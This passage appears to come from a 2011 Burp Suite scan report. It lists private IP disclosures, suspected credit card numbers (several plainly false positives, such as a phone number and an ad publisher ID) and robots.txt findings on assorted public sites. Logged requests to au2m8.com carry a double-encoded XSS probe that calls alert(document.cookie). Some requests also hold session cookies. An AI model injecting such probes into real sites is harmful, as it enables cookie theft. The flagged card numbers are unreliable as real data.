Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:41:20 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 5599

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...

26.14. http://splunkbase.splunk.com/apps/All/4.x/Add-On/app:Google+Maps previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/Add-On/app:Google+Maps

Issue detail

The following RFC 1918 IP addresses were disclosed in the response:

10.0.0.0
192.168.0.0

Request

GET /apps/All/4.x/Add-On/app:Google+Maps HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:00 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27687

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web4
...[SNIP]...
<li>Extend the geoip command to allow it to map internal IP ranges (10.0.0.0/24, 192.168.0.0/16 etc.) to geo coordinates</li>
...[SNIP]...

26.15. http://static.ak.fbcdn.net/rsrc.php/zq/r/LfCa7NaF9mt.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/zq/r/LfCa7NaF9mt.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.138.64.186

Request

GET /rsrc.php/zq/r/LfCa7NaF9mt.png HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?href=http://us.blackberry.com&layout=button_count&show_faces=false&width=40&action=like&colorscheme=dark&profile_id=13004060847
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 94
Content-Type: image/png
Last-Modified: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="DSP LAW"
Pragma:
X-FB-Server: 10.138.64.186
Cache-Control: public, max-age=19906113
Expires: Sat, 24 Sep 2011 23:01:28 GMT
Date: Sun, 06 Feb 2011 13:32:55 GMT
Connection: close

.PNG
.
...IHDR................H...%IDAT.[c...?.:>t..vA. . ... \.].,.......q}.&.....IEND.B`.

26.16. http://technorati.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://technorati.com
Path:	/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.15.106.126

Request

GET / HTTP/1.1
Host: technorati.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.17. http://tools.ietf.org/html/rfc3986 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tools.ietf.org
Path:	/html/rfc3986

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.0.1

Request

GET /html/rfc3986 HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.18. http://www.au2m8.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/favicon.ico

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.100.219

Request

Response

26.19. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.100.219

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/81211909126097148926263.htm?vs=1&r=www.kledy.de%2Fbookmarks.php&s=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&t=76345
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

26.20. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.100.218

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/81211909126097148926263.htm?vs=1&r=www.kledy.de%2Fbookmarks.php&s=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&t=76345
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; path=/
Date: Sat, 05 Feb 2011 23:08:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:08:10 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:10 GMT
Set-Cookie: countryID=us; expires=Sun, 05-Feb-2012 23:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: bpl1296950890=1296947290; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=deleted; expires=Fri, 05-Feb-2010 23:08:09 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11376

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:08:10 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

26.21. http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html

Issue detail

The following RFC 1918 IP addresses were disclosed in the response:

10.1.0.0
10.1.0.1
10.1.0.2
10.1.0.255
10.1.0.3
10.1.0.4
10.1.1.0
10.1.1.128
10.1.1.160
10.1.1.176
10.1.1.2
10.1.1.255
10.1.1.48
10.1.1.64
10.1.3.2
172.31.80.0
172.31.80.10
192.168.100.64
192.168.100.80

Request

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
IHSHOST: ccxweb-sj-2
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
CDCHOST: ccows-sj-101
Vary: User-Agent
Date: Sat, 05 Feb 2011 21:53:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: CP_GUTC=72.163.4.168.1296942826289717; path=/; expires=Wed, 30-Jan-36 21:53:46 GMT; domain=.cisco.com
Set-Cookie: CP_GUTC=128.107.242.39.1296942826291868; path=/; expires=Wed, 30-Jan-36 21:53:46 GMT; domain=.cisco.com
Set-Cookie: JSESSIONID=0000VvSzL3QIdtIuJQIqrBsGZb4:wpx-12541;Path=/web/
Content-Length: 48953

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<span class="code">10.1.1.2</span>
...[SNIP]...
<span class="code">10.1.3.2</span>
...[SNIP]...
<span class="code">192.168.100.80/26</span>
...[SNIP]...
<td align="middle" class="td-content-left" headers="prim_1 col_1">10.1.1.48/23</td>
...[SNIP]...
<td align="middle" class="td-content-left" headers="prim_1 col_1">172.31.80.10/22</td>
...[SNIP]...
<span class="code">192.168.100.80/26</span>
...[SNIP]...
<span class="code">192.168.100.80/26</span>
...[SNIP]...
<span class="code">192.168.100.64/26</span>
...[SNIP]...
<span class="code">192.168.100.64/26</span>
...[SNIP]...
<span class="code">10.1.1.48/23</span>
...[SNIP]...
<span class="code">10.1.0.0/23</span>
...[SNIP]...
<span class="code">172.31.80.10/22</span>
...[SNIP]...
<span class="code">172.31.80.0/22</span>
...[SNIP]...
<span class="code">10.1.0.1, 10.1.0.2, 10.1.0.3</span>, and
<span class="code">10.1.0.4</span>
...[SNIP]...
<span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.0.0</span> through <span class="code">10.1.0.255</span>
...[SNIP]...
<span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.0.0</span> through <span class="code">10.1.1.255</span>
...[SNIP]...
<span class="code">10.1.0.0/24</span> and <span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.0.0/23</span>
...[SNIP]...
<span class="code">10.1.0.0/23</span>
...[SNIP]...
<span class="code">10.1.0.0/24</span> and <span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.0.0/24</span> and <span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.0.0/23</span>
...[SNIP]...
<span class="code">10.1.0.0/24</span> and <span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.1.0/24</span>
...[SNIP]...
<span class="code">10.1.1.0/26</span>
...[SNIP]...
<span class="code">10.1.1.0</span>
...[SNIP]...
<span class="code">10.1.1.64</span>
...[SNIP]...
<span class="code">10.1.1.64</span>
...[SNIP]...
<span class="code">10.1.1.64/26</span>
...[SNIP]...
<span class="code">10.1.1.64</span>
...[SNIP]...
<span class="code">10.1.1.128</span>
...[SNIP]...
<span class="code">10.1.1.128</span>
...[SNIP]...
<span class="code">10.1.1.128/27</span>
...[SNIP]...
<span class="code">10.1.1.128</span>
...[SNIP]...
<span class="code">10.1.1.160</span>
...[SNIP]...
<span class="code">10.1.1.160</span>
...[SNIP]...
<span class="code">10.1.1.160/28</span>
...[SNIP]...
<span class="code">10.1.1.160</span>
...[SNIP]...
<span class="code">10.1.1.176</span>
...[SNIP]...
<span class="code">10.1.1.176</span>
...[SNIP]...
<span class="code">10.1.1.176/29</span>
...[SNIP]...

26.22. http://www.download32.com/iseu---eu-domain-availability-checker-i24769.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/iseu---eu-domain-availability-checker-i24769.html

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.12.20.08

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:23 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 35453

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download IsEu - EU d
...[SNIP]...
<span id="title">CraigsList Reader 10.12.20.08</span>
...[SNIP]...

26.23. http://www.facebook.com/BlackBerryZA previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryZA

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.22.87

Request

Response

26.24. http://www.facebook.com/vibrantmedia previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/vibrantmedia

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.22.87

Request

Response

26.25. http://www.officedepot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.officedepot.com
Path:	/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.95.65.84

Request

GET / HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

26.26. http://www.orthougm.com/nslookup.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/nslookup.html

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.50.128.52

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Set-Cookie: PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 44698

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
lass="hasil_a" rel="nofollow" title="In Windows, the nslookup utility which acts as a DNS client can be used. ... Once executed nslookup in interactive mode, it first shows that the default DNS server 10.50.128.52 will be ...">
...[SNIP]...
</a>
In Windows, the nslookup utility which acts as a DNS client can be used. ... Once executed nslookup in interactive mode, it first shows that the default DNS server 10.50.128.52 will be ... <br>
...[SNIP]...

27. Credit card numbers disclosed previous next
There are 5 instances of this issue:

http://www.beckerortho.com/assets/pdf/Model1017.pdf
http://www.beckerortho.com/assets/pdf/pacTE.pdf
http://www.beckerortho.com/distrib.htm
http://www.download32.com/search/Array
http://www.merapakistan.com/directory/draw_list_prize_bond_draw_result_7500.html

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

27.1. http://www.beckerortho.com/assets/pdf/Model1017.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/assets/pdf/Model1017.pdf

Issue detail

The following credit card number was disclosed in the response:

5605600000000740

Request

GET /assets/pdf/Model1017.pdf HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 323470
Content-Type: application/pdf
Last-Modified: Mon, 26 Jan 2009 17:50:21 GMT
Accept-Ranges: bytes
ETag: "4c4c58ede7fc91:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:10 GMT
Connection: close

%PDF-1.4%....
4 0 obj<</Linearized 1/L 323470/O 6/E 237659/N 1/T 323271/H [ 896 194]>>endobj
xref
4 30
0000000016 00000 n
0000001090 00000 n
0000001150 00000 n
0000001921 0
...[SNIP]...
nt/CenturyGothic-Bold/Encoding/WinAnsiEncoding/FirstChar 32/FontDescriptor 23 0 R/LastChar 150/Subtype/TrueType/Type/Font/Widths[280 0 0 0 0 0 0 0 380 380 0 0 0 420 280 0 560 560 560 560 560 560 0 560 560 560 0 0 0 0 0 0 0 740 580 0 0 0 0 0 0 0 480 620 440 900 0 840 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 660 660 640 660 640 280 660 600 240 0 580 240 940 600 640 660 0 320 440 300 600 560 800 0 580 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...[SNIP]...

27.2. http://www.beckerortho.com/assets/pdf/pacTE.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/assets/pdf/pacTE.pdf

Issue detail

The following credit card number was disclosed in the response:

5565565560333500

Request

GET /assets/pdf/pacTE.pdf HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 962623
Content-Type: application/pdf
Last-Modified: Mon, 16 Apr 2007 18:09:15 GMT
Accept-Ranges: bytes
ETag: "9ca5bb575280c71:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:21 GMT
Connection: close

%PDF-1.4%....
4 0 obj <</Linearized 1/L 962623/O 6/E 941145/N 1/T 962497/H [ 1396 262]>>endobj
xref
4 55
0000000016 00000 n
0000001658 00000 n
0000001753 00000 n
0000002290 0
...[SNIP]...
dths[278 0 0 0 0 0 0 0 0 0 0 0 278 333 0 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 667 0 0 0 0 0 0 0 278 0 0 0 0 0 0 0 778 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 222 500 222 833 556 556 556 0 333 500 278 556 500 722 0 500 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 350]/BaseFont/SROEVY+ArialMT/FirstChar 32/ToUnicode 35 0 R/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

27.3. http://www.beckerortho.com/distrib.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/distrib.htm

Issue detail

The following credit card number was disclosed in the response:

4401246456590

Request

GET /distrib.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 24244
Content-Type: text/html
Last-Modified: Mon, 11 Oct 2010 20:48:38 GMT
Accept-Ranges: bytes
ETag: "16ad27ae8569cb1:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <title>Becker Orthopedic - Orthotics Componentry Distributors</title>
       <met
...[SNIP]...
<br>
                       TEL: 44-01-246-456-590<br>
...[SNIP]...

27.4. http://www.download32.com/search/Array previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/search/Array

Issue detail

The following credit card number was disclosed in the response:

36001110076904

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:02:59 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 74981

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Array : Download32 S
...[SNIP]...

...[SNIP]...

...[SNIP]...

27.5. http://www.merapakistan.com/directory/draw_list_prize_bond_draw_result_7500.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.merapakistan.com
Path:	/directory/draw_list_prize_bond_draw_result_7500.html

Issue detail

The following credit card number was disclosed in the response:

4247581253676534

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:04 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=dri464g5lu2kq9c1sqpg1v3c16; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 35028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<!--
                       google_ad_client = "pub-4247581253676534";
                       google_alternate_color = "FFFFFF";
                       google_ad_width = 468;
                       google_ad_height = 15;
                       google_ad_format = '468x15_0ads_al';
                       google_ad_channel = "";
                       google_color_border
...[SNIP]...
<!--
google_ad_client = "pub-4247581253676534";
google_alternate_color = "FFFFFF";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "FFFFFF
...[SNIP]...
<!--
google_ad_client = "pub-4247581253676534";
google_alternate_color = "FFFFFF";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text_image";
google_ad_channel = "";
google_color_border =
...[SNIP]...
<!--
google_ad_client = "pub-4247581253676534";
google_alternate_color = "FFFFFF";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "FFFFFF
...[SNIP]...
<!--
                           google_ad_client = "pub-4247581253676534";
                           google_alternate_color = "FFFFFF";
                           google_ad_width = 728;
                           google_ad_height = 15;
                           google_ad_format = '728x15_0ads_al_s';
                           google_ad_channel = "";
                           google_color
...[SNIP]...

28. Robots.txt file previous next
There are 129 instances of this issue:

http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496
http://ad.de.doubleclick.net/N6514/adj/miwi/
http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11
http://ad.zanox.com/ppv/
http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css
http://b.voicefive.com/b
http://bassistance.de/jquery-plugins/jquery-plugin-validation/
http://blog.freedownloadscenter.com/
http://blog.owneriq.com/
http://blogmarks.net/
http://bookmarks.yahoo.com/
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://buzz.yahoo.com/
http://cdn.manualsonline.com/javascript/libs-2.8.3.4.js
http://cdn.royale.spongecell.com/api/widgets/263365.js/
http://chitika.com/publishers.php
http://clk.redcated/229/go/253329229/direct
http://current.com/
http://dailyme.com/
http://demos.us.intellitxt.com/demos/lab/windows_live/flash_concepts/assets/instantAnswer/preloader.swf
http://developers.facebook.com/plugins/
http://digg.com/
http://ds.serving-sys.com/BurstingRes/CustomScripts/PL_ManuallyExpandPanelAfterScroll_728x90.js
http://dslshop.vodafone.de/eshop/pv/97444194
http://e.ligatus.com/LigatusFallback.gif
http://eisenstein.dk/loader/qt.php
http://en.wikipedia.org/wiki/MIT_License
http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252
http://faves.com/
http://feedburner.google.com/fb/a/mailverify
http://feeds.feedburner.com/~fc/tipd
http://friendfeed.com/
http://googleads.g.doubleclick.net/pagead/ads
http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://hiltonworldwide1.hilton.com/en_US/ww/customersupport/privacy-policy.do
http://identi.ca/
http://imera.com.br/
http://img.constantcontact.com/lp/images/standard/spacer.gif/
http://jlinks.industrybrains.com/jsct
http://jquery.org/license
http://jqueryui.com/about
http://l.addthiscdn.com/live/t00/250lo.gif
http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js
http://mail.google.com/mail/
http://malsup.com/jquery/form/
http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php
http://meyerweb.com/eric/thoughts/2007/04/14/reworked-reset/
http://multiply.com/
http://newstrust.net/
http://phonefavs.com/
http://posterous.com/
http://pulse.plaxo.com/pulse/
http://rbytes.net/design/style.css
http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css
http://s7.addthis.com/static/r07/widget51.css
http://shop.vodafone.de/micropages/cookie-setting-page.htm
http://slashdot.org/
http://smaknews.com/
http://social.expression.microsoft.com/
http://social.msdn.microsoft.com/
http://social.technet.microsoft.com/
http://spe.redcated/ds/NMMRTUMISITP/FY11_Cloud_Scenario/CLD_W1DISWSSFAW_FxCDP_G_300x250_V1R1.swf
http://sphinn.com/
http://spongecell.com/api/widgets/clickthrough/263365
http://static.ak.fbcdn.net/rsrc.php/yt/r/CJLVmfhHQeD.css
http://statistics.wibiya.com/SetToolbarLoad.php
http://tipd.com/
http://tools.ietf.org/html/rfc2234]
http://tracker.icerocket.com/services/gatherer.php
http://unalog.com/
http://us.blackberry.com/eng/devices/blackberrytorch.jsp
http://uselessjunk.com/article_full.php
http://vodpod.com/
http://www.ad4mat.de/ads/conbanner_bild1.php
http://www.addtoany.com/email
http://www.allvoices.com/
http://www.amazon.com/
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
http://www.bebo.com/
http://www.bibsonomy.org/
http://www.blogger.com/
http://www.bookmarks.fr/
https://www.box.net/
http://www.care2.com/news/
http://www.citeulike.org/
http://www.codylindley.com/
http://www.connotea.org/
http://www.diigo.com/
